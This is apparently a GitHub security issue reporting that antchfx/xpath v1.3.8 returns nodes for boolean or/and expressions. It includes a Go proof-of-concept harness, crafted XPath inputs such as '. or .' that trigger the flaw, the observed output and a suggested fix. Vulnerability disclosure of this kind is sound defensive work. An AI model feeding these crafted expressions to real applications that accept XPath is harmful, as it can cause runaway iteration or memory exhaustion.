Skip to content

[Security Issue] antchfx/xpath treats boolean expressions as node selectors #133

Closed

Description

@Vectrain51

Summary

antchfx/xpath v1.3.8 returns nodes for top-level or/and expressions, although their value type is boolean. Applications that iterate Expr.Select(...).MoveNext() can therefore receive unexpected nodes indefinitely or trigger large eager allocations with nested or expressions.

Affected version tested:

v1.3.8
commit d666d4b6f3b570811b144144414971401472b83c

Details

booleanQuery.Select() materializes and returns operand nodes for or. Its and branch can also emit a right-operand node even when the intersection is empty. Because ValueType() is boolean, these nodes violate the selector contract and keep consumer iteration active.

The attacker-controlled path is the public API:

xpath.Compile(expression) -> Expr.Select(navigator) -> NodeIterator.MoveNext()

PoC

Create a minimal consumer:

git clone https://github.com/antchfx/xpath.git
cd xpath
git checkout v1.3.8
mkdir ../xpath-poc
cat > ../xpath-poc/main.go <<'EOF'
package main

import (
    "fmt"
    "os"
    "github.com/antchfx/xpath"
)

type node struct {
    parent, first, last, prev, next *node
    typ xpath.NodeType
    data string
}
type nav struct { cur, root *node }

func (n *nav) NodeType() xpath.NodeType { return n.cur.typ }
func (n *nav) LocalName() string { return n.cur.data }
func (n *nav) Prefix() string { return "" }
func (n *nav) NamespaceURL() string { return "" }
func (n *nav) Value() string { return "" }
func (n *nav) Copy() xpath.NodeNavigator { c := *n; return &c }
func (n *nav) MoveToRoot() { n.cur = n.root }
func (n *nav) MoveToParent() bool { if n.cur.parent == nil { return false }; n.cur = n.cur.parent; return true }
func (n *nav) MoveToNextAttribute() bool { return false }
func (n *nav) MoveToChild() bool { if n.cur.first == nil { return false }; n.cur = n.cur.first; return true }
func (n *nav) MoveToFirst() bool { if n.cur.prev == nil { return false }; n.cur = n.cur.prev; return true }
func (n *nav) MoveToNext() bool { if n.cur.next == nil { return false }; n.cur = n.cur.next; return true }
func (n *nav) MoveToPrevious() bool { if n.cur.prev == nil { return false }; n.cur = n.cur.prev; return true }
func (n *nav) MoveTo(o xpath.NodeNavigator) bool { m, ok := o.(*nav); if !ok { return false }; n.cur = m.cur; return true }

func main() {
    root := &node{typ: xpath.RootNode}
    for _, name := range []string{"a", "a", "b", "b"} {
        el := &node{typ: xpath.ElementNode, data: name, parent: root}
        if root.first == nil { root.first = el } else { root.last.next = el; el.prev = root.last }
        root.last = el
    }
    expr, err := xpath.Compile(os.Args[1])
    if err != nil { panic(err) }
    it := expr.Select(&nav{cur: root, root: root})
    if it.MoveNext() {
        fmt.Printf("SELECTED: %s\n", os.Args[1])
        os.Exit(42)
    }
    fmt.Printf("BLOCKED: %s\n", os.Args[1])
}
EOF

cat > ../xpath-poc/go.mod <<'EOF'
module drv
go 1.21
require github.com/antchfx/xpath v0.0.0
replace github.com/antchfx/xpath => ../xpath
EOF

cd ../xpath-poc
go build -o drv .
./drv "1 = 1"
./drv ". or ."
./drv "1 = 1 or ."
./drv "//a and //b"

Observed:

BLOCKED: 1 = 1
SELECTED: . or .
SELECTED: 1 = 1 or .
SELECTED: //a and //b

The comparison control selects no nodes; boolean operators still return nodes.

Impact

Applications accepting attacker-controlled XPath expressions can receive invalid selector results and may fail to terminate or allocate excessive memory when iterating nested boolean expressions. The issue requires a consumer that exposes XPath input and iterates the returned node set.

Suggested fix

Boolean expressions used as selectors should return no nodes. Ensure both or and and paths preserve that invariant and do not materialize operand nodes for a boolean-only result.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions